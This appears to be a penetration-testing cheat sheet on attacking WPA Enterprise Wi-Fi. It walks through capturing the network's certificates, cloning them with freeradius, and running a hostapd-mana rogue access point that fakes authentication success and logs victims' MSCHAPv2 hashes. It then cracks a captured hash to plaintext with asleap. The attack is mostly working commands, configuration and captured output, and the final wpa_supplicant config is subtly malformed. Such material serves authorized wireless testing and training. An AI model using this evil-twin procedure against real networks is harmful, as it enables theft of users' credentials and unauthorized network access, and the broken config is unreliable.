# WPA Enterprise

#### Capture ESSID & BSSID:&#x20;

```bash
# start monitor mode
airmon-ng start wlan0
# capture wireless requests
airodump-ng wlan0mon
```

#### Open up wireshark and apply the following filter:&#x20;

```
tls.handshake.type == 11,3 or tls.handshake.certificate
```

From there, in the **Packet Details** pane, we now open *Extensible Authentication Protocol* > *Transport Layer Security*. We now have to open the **TLSv1 Record Layer: Handshake Protocol: Certificate** (or similar, as the TLS version will vary). Once there, we will have to expand **Handshake Protocol: Certificate** item, then **Certificates** (plural). Inside **Certificates**, we can see one or more entries named **Certificate**. Each of them will be preceded by the length. For each certificate, we right click and select *Export Packet Bytes* to save the data into a file with a .der extension.

These certificates, which are in binary form, can either be opened in the file manager, or we can display information about them using OpenSSL using openssl x509 -inform der -in CERTIFICATE\_FILENAME -text where **CERTIFICATE\_FILENAME** is the path to the certificate.

While this step isn't necessary, we can convert it to PEM format using openssl x509 -inform der -in CERTIFICATE\_FILENAME -outform pem -out OUTPUT\_PEM.crt. PEM format is basically a base64 version of the .der certificate, limited to 64 columns, with a header and a trailer to indicate it is a certificate.

#### Install freeradius:&#x20;

<pre class="language-bash"><code class="lang-bash">apt install freeradius
cd /etc/freeradius/3.0/certs
nano ca.cnf

<strong>...
</strong>[certificate_authority]
countryName             = US
stateOrProvinceName     = CA
localityName            = San Francisco
organizationName        = Playtronics
emailAddress            = ca@playtronics.com
commonName              = "Playtronics Certificate Authority"
...


nano server.cnf

...
[server]
countryName             = US
stateOrProvinceName     = CA
localityName            = San Francisco
organizationName        = Playtronics
emailAddress            = admin@playtronics.com
commonName              = "Playtronics"
...
</code></pre>

Next, we'll build the certificates. First, we need to regenerate dh

```
rm dh
make
```

#### Install **hostapd-mana** and then edit the config fil&#x65;**:**

```
apt install hostapd-mana
nano /etc/hostapd-mana/mana.conf
```

Entering the following, making changes to the interface, ssid, channel, and certificates:

```
# SSID of the AP
ssid=Playtronics

# Network interface to use and driver type
# We must ensure the interface lists 'AP' in 'Supported interface modes' when running 'iw phy PHYX info'
interface=wlan0
driver=nl80211

# Channel and mode
# Make sure the channel is allowed with 'iw phy PHYX info' ('Frequencies' field - there can be more than one)
channel=1
# Refer to https://w1.fi/cgit/hostap/plain/hostapd/hostapd.conf to set up 802.11n/ac/ax
hw_mode=g

# Setting up hostapd as an EAP server
ieee8021x=1
eap_server=1

# Key workaround for Win XP
eapol_key_index_workaround=0

# EAP user file we created earlier
eap_user_file=/etc/hostapd-mana/mana.eap_user

# Certificate paths created earlier
ca_cert=/etc/freeradius/3.0/certs/ca.pem
server_cert=/etc/freeradius/3.0/certs/server.pem
private_key=/etc/freeradius/3.0/certs/server.key
# The password is actually 'whatever'
private_key_passwd=whatever
dh_file=/etc/freeradius/3.0/certs/dh

# Open authentication
auth_algs=1
# WPA/WPA2
wpa=3
# WPA Enterprise
wpa_key_mgmt=WPA-EAP
# Allow CCMP and TKIP
# Note: iOS warns when network has TKIP (or WEP)
wpa_pairwise=CCMP TKIP

# Enable Mana WPE
mana_wpe=1

# Store credentials in that file
mana_credout=/tmp/hostapd.credout

# Send EAP success, so the client thinks it's connected
mana_eapsuccess=1

# EAP TLS MitM
mana_eaptls=1
```

now create the EAP user file referenced in the configuration file, **/etc/hostapd-mana/mana.eap\_user**.&#x20;

The file should contain the following.

```
*     PEAP,TTLS,TLS,FAST
"t"   TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2    "pass"   [2]
```

start hostapd-mana with the configuration file we created earlier, /etc/hostapd-mana/mana.conf.

```
sudo hostapd-mana /etc/hostapd-mana/mana.conf -B
```

When a victim attempts to authenticate to our AP, the login attempt is captured.

```
...
wlan0: STA 00:2b:bb:b0:42:9e IEEE 802.11: authenticated
wlan0: STA 00:2b:bb:b0:42:9e IEEE 802.11: associated (aid 1)
wlan0: CTRL-EVENT-EAP-STARTED 00:2b:bb:b0:42:9e
wlan0: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA EAP Identity Phase 0: cosmo
wlan0: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
MANA EAP Identity Phase 1: cosmo
MANA EAP EAP-MSCHAPV2 ASLEAP user=cosmo | asleap -C ce:b6:98:85:c6:56:59:0c -R 72:79:f6:5a:a4:98:70:f4:58:22:c8:9d:cb:dd:73:c1:b8:9d:37:78:44:ca:ea:d4
MANA EAP EAP-MSCHAPV2 JTR | cosmo:$NETNTLM$ceb69885c656590c$7279f65aa49870f45822c89dcbdd73c1b89d377844caead4:::::::
MANA EAP EAP-MSCHAPV2 HASHCAT | cosmo::::7279f65aa49870f45822c89dcbdd73c1b89d377844caead4:ceb69885c656590c
...
```

**method=25** tells us that the chosen authentication is PEAP, and the line below that one includes the username **cosmo**. These credentials are also in /tmp/hostapd.credout.

using **asleap** to crack the password hash. We can copy/paste the output, starting with **asleap**, and append the wordlist /usr/share/john/password.lst to the -W parameter

```
asleap -C ce:b6:98:85:c6:56:59:0c -R 72:79:f6:5a:a4:98:70:f4:58:22:c8:9d:cb:dd:73:c1:b8:9d:37:78:44:ca:ea:d4 -W /usr/share/john/password.lst

asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
Using wordlist mode with "/usr/share/john/password.lst".
        hash bytes:        586c
        NT hash:           8846f7eaee8fb117ad06bdd830b7586c
        password:          password
```

**crackapd** can automatically run **asleap** when it sees credentials in the log file. If **crackapd** successfully recovers credentials, **crackapd** adds the user to hostapd **eap\_user** file. This allows the user to successfully connect to our rogue AP. Install using:

```
https://github.com/sensepost/mana/tree/master/crackapd
```

#### Connect using cmdline:&#x20;

```bash
nano wpa.conf
# enter the below:
networks={
	scan_ssid=1
	eap=PEAP
	ssid=dlink
	key_mgmt=WPA-EAP
	identity=WIfu\h@cker
	password="sexylady
	phase1="peaplabel=0"
	phase2="auth=MSCHAPV2"
}

```

connect:

```
wpa_supplicant -i wlan0 -c wpa.conf -B 
dhclient wlan0
```

####
